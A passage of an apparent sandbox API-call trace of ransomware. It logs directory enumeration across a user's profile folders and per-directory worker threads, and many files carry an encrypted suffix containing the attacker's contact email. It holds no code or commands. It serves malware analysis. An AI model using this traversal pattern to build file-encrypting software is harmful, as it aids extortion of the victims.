ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0139.947] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0139.947] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0139.947] FindNextFileW (in: hFindFile=0x8da210, lpFindFileData=0x912bc8 | out: lpFindFileData=0x912bc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e2504c0, ftCreationTime.dwHighDateTime=0x1d4cfe7, ftLastAccessTime.dwLowDateTime=0xf5ee29b0, ftLastAccessTime.dwHighDateTime=0x1d4d42d, ftLastWriteTime.dwLowDateTime=0xf5ee29b0, ftLastWriteTime.dwHighDateTime=0x1d4d42d, nFileSizeHigh=0x0, nFileSizeLow=0xba04, dwReserved0=0x0, dwReserved1=0x0, cFileName="EpS_5M2Urz0ffrss28OL.jpg.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="EPS_5M~1.CD4")) returned 1 [0139.947] wcscmp (_String1="EpS_5M2Urz0ffrss28OL.jpg.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0139.947] wcscmp (_String1="EpS_5M2Urz0ffrss28OL.jpg.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0139.947] FindNextFileW (in: hFindFile=0x8da210, lpFindFileData=0x912bc8 | out: lpFindFileData=0x912bc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3768d3b0, ftCreationTime.dwHighDateTime=0x1d4d215, ftLastAccessTime.dwLowDateTime=0x876902e0, ftLastAccessTime.dwHighDateTime=0x1d4cc16, ftLastWriteTime.dwLowDateTime=0x876902e0, ftLastWriteTime.dwHighDateTime=0x1d4cc16, nFileSizeHigh=0x0, nFileSizeLow=0x10979, dwReserved0=0x0, dwReserved1=0x0, cFileName="FNtB-G.jpg.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="FNTB-G~1.CD4")) returned 1 [0139.947] wcscmp (_String1="FNtB-G.jpg.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0139.947] wcscmp (_String1="FNtB-G.jpg.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0139.947] FindNextFileW (in: hFindFile=0x8da210, lpFindFileData=0x912bc8 | out: lpFindFileData=0x912bc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b655820, ftCreationTime.dwHighDateTime=0x1d4cd8d, ftLastAccessTime.dwLowDateTime=0xa3d6f520, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0xa3d6f520, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GyqjI", cAlternateFileName="")) returned 1 [0139.947] wcscmp (_String1="GyqjI", _String2=".") returned 1 [0139.947] wcscmp (_String1="GyqjI", _String2="..") returned 1 [0139.947] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x5a) returned 0x90ece8 [0139.947] wcscpy (in: _Dest=0x90ece8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures" [0139.947] wcscat (in: _Dest=0x90ece8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" [0139.947] wcscat (in: _Dest=0x90ece8, _Source="GyqjI" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI" [0139.948] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x90ece8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c4 [0139.949] FindNextFileW (in: hFindFile=0x8da210, lpFindFileData=0x912bc8 | out: lpFindFileData=0x912bc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x123280a0, ftCreationTime.dwHighDateTime=0x1d4cfef, ftLastAccessTime.dwLowDateTime=0xf355e5f0, ftLastAccessTime.dwHighDateTime=0x1d4c995, ftLastWriteTime.dwLowDateTime=0xf355e5f0, ftLastWriteTime.dwHighDateTime=0x1d4c995, nFileSizeHigh=0x0, nFileSizeLow=0x10600, dwReserved0=0x0, dwReserved1=0x0, cFileName="jiE7JIAOH1Or4.jpg.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="JIE7JI~1.CD4")) returned 1 [0139.949] wcscmp (_String1="jiE7JIAOH1Or4.jpg.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0139.949] wcscmp (_String1="jiE7JIAOH1Or4.jpg.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0139.949] FindNextFileW (in: hFindFile=0x8da210, lpFindFileData=0x912bc8 | out: lpFindFileData=0x912bc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6339b50, ftCreationTime.dwHighDateTime=0x1d4d44e, ftLastAccessTime.dwLowDateTime=0x774a2390, ftLastAccessTime.dwHighDateTime=0x1d4d4df, ftLastWriteTime.dwLowDateTime=0x774a2390, ftLastWriteTime.dwHighDateTime=0x1d4d4df, nFileSizeHigh=0x0, nFileSizeLow=0x4bba, dwReserved0=0x0, dwReserved1=0x0, cFileName="m3fR.jpg.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="M3FRJP~1.CD4")) returned 1 [0139.949] wcscmp (_String1="m3fR.jpg.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0139.949] wcscmp (_String1="m3fR.jpg.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0139.949] FindNextFileW (in: hFindFile=0x8da210, lpFindFileData=0x912bc8 | out: lpFindFileData=0x912bc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4e73ea0, ftCreationTime.dwHighDateTime=0x1d4cc0a, ftLastAccessTime.dwLowDateTime=0xb2b54cb0, ftLastAccessTime.dwHighDateTime=0x1d4cd79, ftLastWriteTime.dwLowDateTime=0xb2b54cb0, ftLastWriteTime.dwHighDateTime=0x1d4cd79, nFileSizeHigh=0x0, nFileSizeLow=0x143cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="PTQA8n6SpjchEG.bmp.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="PTQA8N~1.CD4")) returned 1 [0139.949] wcscmp (_String1="PTQA8n6SpjchEG.bmp.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0139.949] wcscmp (_String1="PTQA8n6SpjchEG.bmp.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0139.949] FindNextFileW (in: hFindFile=0x8da210, lpFindFileData=0x912bc8 | out: lpFindFileData=0x912bc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4aed5a60, ftCreationTime.dwHighDateTime=0x1d4d02a, ftLastAccessTime.dwLowDateTime=0x37dee7d0, ftLastAccessTime.dwHighDateTime=0x1d4d567, ftLastWriteTime.dwLowDateTime=0x37dee7d0, ftLastWriteTime.dwHighDateTime=0x1d4d567, nFileSizeHigh=0x0, nFileSizeLow=0x57dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="s dGf.png.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="SDGFPN~1.CD4")) returned 1 [0139.949] wcscmp (_String1="s dGf.png.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0139.949] wcscmp (_String1="s dGf.png.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0139.949] FindNextFileW (in: hFindFile=0x8da210, lpFindFileData=0x912bc8 | out: lpFindFileData=0x912bc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9095dd60, ftCreationTime.dwHighDateTime=0x1d4c870, ftLastAccessTime.dwLowDateTime=0x570957f0, ftLastAccessTime.dwHighDateTime=0x1d4d24a, ftLastWriteTime.dwLowDateTime=0x570957f0, ftLastWriteTime.dwHighDateTime=0x1d4d24a, nFileSizeHigh=0x0, nFileSizeLow=0x2962, dwReserved0=0x0, dwReserved1=0x0, cFileName="wHK1.bmp.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="WHK1BM~1.CD4")) returned 1 [0139.949] wcscmp (_String1="wHK1.bmp.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0139.949] wcscmp (_String1="wHK1.bmp.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0139.949] FindNextFileW (in: hFindFile=0x8da210, lpFindFileData=0x912bc8 | out: lpFindFileData=0x912bc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x339768d0, ftCreationTime.dwHighDateTime=0x1d4d032, ftLastAccessTime.dwLowDateTime=0x91887c00, ftLastAccessTime.dwHighDateTime=0x1d4cca8, ftLastWriteTime.dwLowDateTime=0x91887c00, ftLastWriteTime.dwHighDateTime=0x1d4cca8, nFileSizeHigh=0x0, nFileSizeLow=0x73ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="x3L7dAtCYcnatbA.gif.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="X3L7DA~1.CD4")) returned 1 [0139.949] wcscmp (_String1="x3L7dAtCYcnatbA.gif.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0139.949] wcscmp (_String1="x3L7dAtCYcnatbA.gif.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0139.949] FindNextFileW (in: hFindFile=0x8da210, lpFindFileData=0x912bc8 | out: lpFindFileData=0x912bc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x339768d0, ftCreationTime.dwHighDateTime=0x1d4d032, ftLastAccessTime.dwLowDateTime=0x91887c00, ftLastAccessTime.dwHighDateTime=0x1d4cca8, ftLastWriteTime.dwLowDateTime=0x91887c00, ftLastWriteTime.dwHighDateTime=0x1d4cca8, nFileSizeHigh=0x0, nFileSizeLow=0x73ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="x3L7dAtCYcnatbA.gif.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="X3L7DA~1.CD4")) returned 0 [0139.949] FindClose (in: hFindFile=0x8da210 | out: hFindFile=0x8da210) returned 1 [0139.950] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x912bc8) returned 1 [0139.950] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ff248) returned 1 [0139.950] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e4528) returned 1 Thread: id = 1722 os_tid = 0x884 [0139.950] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x54) returned 0x8ff248 [0139.950] wcscpy (in: _Dest=0x8ff248, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood" [0139.951] wcscat (in: _Dest=0x8ff248, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\" [0139.951] wcscat (in: _Dest=0x8ff248, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\*" [0139.951] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x912bc8 [0139.951] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\*", lpFindFileData=0x912bc8 | out: lpFindFileData=0x912bc8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0140.798] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x912bc8) returned 1 [0140.798] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ff248) returned 1 [0140.798] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e4580) returned 1 Thread: id = 1723 os_tid = 0x888 [0139.951] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4e) returned 0x8e4528 [0139.951] wcscpy (in: _Dest=0x8e4528, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent" [0139.951] wcscat (in: _Dest=0x8e4528, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\" [0139.951] wcscat (in: _Dest=0x8e4528, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\*" [0139.951] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x912e30 [0139.951] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\*", lpFindFileData=0x912e30 | out: lpFindFileData=0x912e30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0140.798] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x912e30) returned 1 [0140.798] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e4528) returned 1 [0140.798] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e45d8) returned 1 Thread: id = 1724 os_tid = 0x88c [0139.951] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x58) returned 0x8ff2a8 [0139.951] wcscpy (in: _Dest=0x8ff2a8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games" [0139.951] wcscat (in: _Dest=0x8ff2a8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\" [0139.951] wcscat (in: _Dest=0x8ff2a8, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\*" [0139.951] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x913098 [0139.951] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\*", lpFindFileData=0x913098 | out: lpFindFileData=0x913098*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x941f30 [0142.249] wcscmp (_String1=".", _String2=".") returned 0 [0142.249] FindNextFileW (in: hFindFile=0x941f30, lpFindFileData=0x913098 | out: lpFindFileData=0x913098*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.249] wcscmp (_String1="..", _String2=".") returned 1 [0142.249] wcscmp (_String1="..", _String2="..") returned 0 [0142.249] FindNextFileW (in: hFindFile=0x941f30, lpFindFileData=0x913098 | out: lpFindFileData=0x913098*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0142.249] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0142.249] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0142.249] FindNextFileW (in: hFindFile=0x941f30, lpFindFileData=0x913098 | out: lpFindFileData=0x913098*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0142.249] FindClose (in: hFindFile=0x941f30 | out: hFindFile=0x941f30) returned 1 [0142.249] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x913098) returned 1 [0142.249] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ff2a8) returned 1 [0142.249] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fed08) returned 1 Thread: id = 1725 os_tid = 0x890 [0139.952] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x52) returned 0x8ff308 [0139.952] wcscpy (in: _Dest=0x8ff308, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches" [0139.952] wcscat (in: _Dest=0x8ff308, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\" [0139.952] wcscat (in: _Dest=0x8ff308, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\*" [0139.952] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x913300 [0139.952] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\*", lpFindFileData=0x913300 | out: lpFindFileData=0x913300*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa38143a0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0xa38143a0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942270 [0142.461] wcscmp (_String1=".", _String2=".") returned 0 [0142.461] FindNextFileW (in: hFindFile=0x942270, lpFindFileData=0x913300 | out: lpFindFileData=0x913300*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa38143a0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0xa38143a0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.461] wcscmp (_String1="..", _String2=".") returned 1 [0142.461] wcscmp (_String1="..", _String2="..") returned 0 [0142.461] FindNextFileW (in: hFindFile=0x942270, lpFindFileData=0x913300 | out: lpFindFileData=0x913300*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0142.461] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0142.461] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0142.461] FindNextFileW (in: hFindFile=0x942270, lpFindFileData=0x913300 | out: lpFindFileData=0x913300*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99d9932, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x211, dwReserved0=0x0, dwReserved1=0x0, cFileName="Everywhere.search-ms.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="EVERYW~1.CD4")) returned 1 [0142.461] wcscmp (_String1="Everywhere.search-ms.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0142.461] wcscmp (_String1="Everywhere.search-ms.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0142.461] FindNextFileW (in: hFindFile=0x942270, lpFindFileData=0x913300 | out: lpFindFileData=0x913300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 1 [0142.461] wcscmp (_String1="Indexed Locations.search-ms", _String2=".") returned 1 [0142.461] wcscmp (_String1="Indexed Locations.search-ms", _String2="..") returned 1 [0142.461] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x86) returned 0x8e7568 [0142.461] wcscpy (in: _Dest=0x8e7568, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches" [0142.461] wcscat (in: _Dest=0x8e7568, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\" [0142.461] wcscat (in: _Dest=0x8e7568, _Source="Indexed Locations.search-ms" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Indexed Locations.search-ms") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Indexed Locations.search-ms" [0145.386] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7568, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8b0 [0145.387] FindNextFileW (in: hFindFile=0x942270, lpFindFileData=0x913300 | out: lpFindFileData=0x913300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0 [0145.387] FindClose (in: hFindFile=0x942270 | out: hFindFile=0x942270) returned 1 [0145.388] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x913300) returned 1 [0145.388] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ff308) returned 1 [0145.388] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e4630) returned 1 Thread: id = 1726 os_tid = 0x894 [0139.953] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4e) returned 0x8e4318 [0139.953] wcscpy (in: _Dest=0x8e4318, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo" [0139.953] wcscat (in: _Dest=0x8e4318, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\" [0139.953] wcscat (in: _Dest=0x8e4318, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\*" [0139.953] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x913568 [0139.953] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\*", lpFindFileData=0x913568 | out: lpFindFileData=0x913568*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0140.799] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x913568) returned 1 [0140.799] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e4318) returned 1 [0140.799] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e4688) returned 1 Thread: id = 1727 os_tid = 0x898 [0139.953] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x56) returned 0x8ff368 [0139.953] wcscpy (in: _Dest=0x8ff368, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu" [0139.953] wcscat (in: _Dest=0x8ff368, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\" [0139.953] wcscat (in: _Dest=0x8ff368, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\*" [0139.953] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x91c948 [0139.953] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\*", lpFindFileData=0x91c948 | out: lpFindFileData=0x91c948*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, 